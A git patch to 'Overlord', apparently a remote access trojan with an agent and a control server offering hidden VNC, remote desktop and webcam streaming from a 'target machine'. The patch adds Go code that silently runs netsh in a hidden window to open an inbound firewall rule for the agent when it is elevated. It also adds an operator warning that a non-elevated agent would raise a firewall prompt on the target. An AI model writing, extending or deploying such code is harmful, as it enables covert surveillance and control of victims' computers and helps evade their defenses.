From c76d2aaa4464eceeae29754ccdf74f2229fd968e Mon Sep 17 00:00:00 2001 From: KingKDot Date: Mon, 18 May 2026 11:01:42 -0500 Subject: [PATCH] add firewall notification and fix GPU mode in shellcode --- .../cmd/agent/capture/win_duplication.go | 10 ++++ .../cmd/agent/webrtcpub/firewall_other.go | 5 ++ .../cmd/agent/webrtcpub/firewall_windows.go | 48 +++++++++++++++++++ .../cmd/agent/webrtcpub/p2p_pion.go | 1 + .../cmd/agent/webrtcpub/whip_pion.go | 1 + .../public/assets/remotedesktop.js | 20 +++++++- Overlord-Server/public/assets/webcam.js | 20 +++++++- .../src/server/ws-console-rd-hvnc.ts | 4 +- 8 files changed, 105 insertions(+), 4 deletions(-) create mode 100644 Overlord-Client/cmd/agent/webrtcpub/firewall_other.go create mode 100644 Overlord-Client/cmd/agent/webrtcpub/firewall_windows.go diff --git a/Overlord-Client/cmd/agent/capture/win_duplication.go b/Overlord-Client/cmd/agent/capture/win_duplication.go index c319e7c..8b98f6a 100644 --- a/Overlord-Client/cmd/agent/capture/win_duplication.go +++ b/Overlord-Client/cmd/agent/capture/win_duplication.go @@ -32,8 +32,11 @@ const ( var ( dxgiDLL = syscall.NewLazyDLL("dxgi.dll") d3d11DLL = syscall.NewLazyDLL("d3d11.dll") + ole32DXGIDll = syscall.NewLazyDLL("ole32.dll") procCreateDXGIFactory1 = dxgiDLL.NewProc("CreateDXGIFactory1") procD3D11CreateDevice = d3d11DLL.NewProc("D3D11CreateDevice") + procCoInitDXGI = ole32DXGIDll.NewProc("CoInitializeEx") + dxgiComInit sync.Once ) var ( @@ -863,6 +866,13 @@ func cloneRGBA(src *image.RGBA) *image.RGBA { } func (s *duplicationState) ensure(display int) error { + dxgiComInit.Do(func() { + const coinitMultithreaded = 0x0 + hr, _, _ := procCoInitDXGI.Call(0, coinitMultithreaded) + if hr != S_OK && hr != 1 { + log.Printf("capture: CoInitializeEx for DXGI failed: 0x%x", hr) + } + }) const dxgiDeviceMaxAge = 4 * time.Hour if s.dup != nil && s.display == display { if !s.createdAt.IsZero() && time.Since(s.createdAt) > dxgiDeviceMaxAge { diff --git a/Overlord-Client/cmd/agent/webrtcpub/firewall_other.go b/Overlord-Client/cmd/agent/webrtcpub/firewall_other.go new file mode 100644 index 0000000..b6b0817 --- /dev/null +++ b/Overlord-Client/cmd/agent/webrtcpub/firewall_other.go @@ -0,0 +1,5 @@ +//go:build !windows && overlord_webrtc + +package webrtcpub + +func ensureFirewallRule() {} diff --git a/Overlord-Client/cmd/agent/webrtcpub/firewall_windows.go b/Overlord-Client/cmd/agent/webrtcpub/firewall_windows.go new file mode 100644 index 0000000..ed2053e --- /dev/null +++ b/Overlord-Client/cmd/agent/webrtcpub/firewall_windows.go @@ -0,0 +1,48 @@ +//go:build windows && overlord_webrtc + +package webrtcpub + +import ( + "log" + "os" + "os/exec" + "path/filepath" + "sync" + "syscall" + + "golang.org/x/sys/windows" +) + +const createNoWindowFlag = 0x08000000 + +var firewallOnce sync.Once + +func ensureFirewallRule() { + firewallOnce.Do(func() { + if !windows.GetCurrentProcessToken().IsElevated() { + return + } + exe, err := os.Executable() + if err != nil { + return + } + if resolved, err := filepath.EvalSymlinks(exe); err == nil { + exe = resolved + } + + ruleName := filepath.Base(exe) + hidden := &syscall.SysProcAttr{HideWindow: true, CreationFlags: createNoWindowFlag} + + del := exec.Command("netsh", "advfirewall", "firewall", "delete", "rule", + "name="+ruleName, "program="+exe) + del.SysProcAttr = hidden + _ = del.Run() + + add := exec.Command("netsh", "advfirewall", "firewall", "add", "rule", + "name="+ruleName, "dir=in", "action=allow", "program="+exe, "enable=yes") + add.SysProcAttr = hidden + if err := add.Run(); err != nil { + log.Printf("webrtcpub: firewall rule add failed: %v", err) + } + }) +} diff --git a/Overlord-Client/cmd/agent/webrtcpub/p2p_pion.go b/Overlord-Client/cmd/agent/webrtcpub/p2p_pion.go index af842fb..73666a7 100644 --- a/Overlord-Client/cmd/agent/webrtcpub/p2p_pion.go +++ b/Overlord-Client/cmd/agent/webrtcpub/p2p_pion.go @@ -41,6 +41,7 @@ func p2pSessionKey(kind Kind, sessionID string) string { // browser side decides via its transceivers what to ask for. Trickle ICE // candidates emitted by Pion are delivered to opts.OnICE. func StartP2POffer(ctx context.Context, kind Kind, sessionID string, offerSDP string, opts P2POfferCallbacks, hasVideo, hasAudio bool) (string, error) { + ensureFirewallRule() _ = ctx if sessionID == "" { return "", errors.New("webrtcpub: empty sessionID") diff --git a/Overlord-Client/cmd/agent/webrtcpub/whip_pion.go b/Overlord-Client/cmd/agent/webrtcpub/whip_pion.go index 1254497..a70a7d3 100644 --- a/Overlord-Client/cmd/agent/webrtcpub/whip_pion.go +++ b/Overlord-Client/cmd/agent/webrtcpub/whip_pion.go @@ -66,6 +66,7 @@ var ( ) func Start(ctx context.Context, kind Kind, opts Options) (*Publisher, error) { + ensureFirewallRule() if strings.TrimSpace(opts.WhipURL) == "" { return nil, errors.New("webrtcpub: empty WhipURL") } diff --git a/Overlord-Server/public/assets/remotedesktop.js b/Overlord-Server/public/assets/remotedesktop.js index d31734d..b10ee69 100644 --- a/Overlord-Server/public/assets/remotedesktop.js +++ b/Overlord-Server/public/assets/remotedesktop.js @@ -101,6 +101,9 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; let lastClipboardText = ""; let clipboardSyncActive = false; let elevationPending = false; + let clientOs = ""; + let clientIsAdmin = false; + let firewallWarningAcked = false; function resetH264RuntimeState() { h264TimestampUs = 0; @@ -799,6 +802,8 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; const client = data.items.find((c) => c.id === activeClientId); if (client) { clientLabel.textContent = `${client.host || client.id} (${client.os || ""})`; + clientOs = (client.os || "").toLowerCase(); + clientIsAdmin = !!client.isAdmin; } if (client) { populateDisplays(client.monitors, client.monitorInfo); @@ -874,7 +879,21 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; }); }); + function needsWebrtcFirewallWarning(mode) { + if (firewallWarningAcked) return false; + if (mode !== "relayed" && mode !== "p2p") return false; + const isWindows = clientOs.includes("windows") || clientOs.includes("win"); + return isWindows && !clientIsAdmin; + } + startBtn.addEventListener("click", function () { + const mode = getWebrtcMode(); + if (needsWebrtcFirewallWarning(mode)) { + if (!confirm("This agent is not elevated. Starting WebRTC will trigger a Windows Defender Firewall prompt on the target machine.\n\nContinue?")) { + return; + } + firewallWarningAcked = true; + } if (displaySelect && displaySelect.value !== undefined) { sendCmd("desktop_select_display", { display: parseInt(displaySelect.value, 10) || 0, @@ -888,7 +907,6 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; lastFrameAt = 0; resetH264SessionState(); setStreamState("starting", "Starting stream"); - const mode = getWebrtcMode(); if (mode === "relayed") { // Server replies with `webrtc_ready { whepPath }`; startWhep happens then. sendCmd("desktop_start", { webrtc: true }); diff --git a/Overlord-Server/public/assets/webcam.js b/Overlord-Server/public/assets/webcam.js index a6ec356..7db8009 100644 --- a/Overlord-Server/public/assets/webcam.js +++ b/Overlord-Server/public/assets/webcam.js @@ -54,6 +54,9 @@ import { P2PClient } from "./webrtc-p2p.js"; let selectedDeviceIndex = 0; let hasRenderedFrame = false; let drawPending = false; + let clientOs = ""; + let clientIsAdmin = false; + let firewallWarningAcked = false; const codecPrefKey = "webcamCodecPreferH264"; let prefersH264 = typeof VideoDecoder === "function"; @@ -438,6 +441,8 @@ import { P2PClient } from "./webrtc-p2p.js"; return; } if (msg.type === "ready") { + if (msg.os) clientOs = String(msg.os).toLowerCase(); + if (msg.isAdmin !== undefined) clientIsAdmin = !!msg.isAdmin; setStreamState("idle", "Ready"); return; } @@ -496,10 +501,23 @@ import { P2PClient } from "./webrtc-p2p.js"; }; } + function needsWebrtcFirewallWarning(mode) { + if (firewallWarningAcked) return false; + if (mode !== "relayed" && mode !== "p2p") return false; + const isWindows = clientOs.includes("windows") || clientOs.includes("win"); + return isWindows && !clientIsAdmin; + } + startBtn.addEventListener("click", () => { + const mode = getWebrtcMode(); + if (needsWebrtcFirewallWarning(mode)) { + if (!confirm("This agent is not elevated. Starting WebRTC will trigger a Windows Defender Firewall prompt on the target machine.\n\nContinue?")) { + return; + } + firewallWarningAcked = true; + } desiredStreaming = true; applyFpsSettings(); - const mode = getWebrtcMode(); if (mode === "relayed") { // Server replies with webrtc_ready; startWhep happens then. send("webcam_start", { webrtc: true }); diff --git a/Overlord-Server/src/server/ws-console-rd-hvnc.ts b/Overlord-Server/src/server/ws-console-rd-hvnc.ts index ee92472..787db44 100644 --- a/Overlord-Server/src/server/ws-console-rd-hvnc.ts +++ b/Overlord-Server/src/server/ws-console-rd-hvnc.ts @@ -374,7 +374,7 @@ export function handleRemoteDesktopViewerOpen(ws: ServerWebSocket) { const target = clientManager.getClient(clientId); const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() }; sessionManager.addRdSession(session); - safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target }); + safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target, os: target?.os ?? "", isAdmin: !!target?.isAdmin }); if (!target) { safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId }); return; @@ -710,7 +710,7 @@ export function handleWebcamViewerOpen(ws: ServerWebSocket) { const target = clientManager.getClient(clientId); const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() }; sessionManager.addWebcamSession(session); - safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target }); + safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target, os: target?.os ?? "", isAdmin: !!target?.isAdmin }); if (!target) { safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId }); return;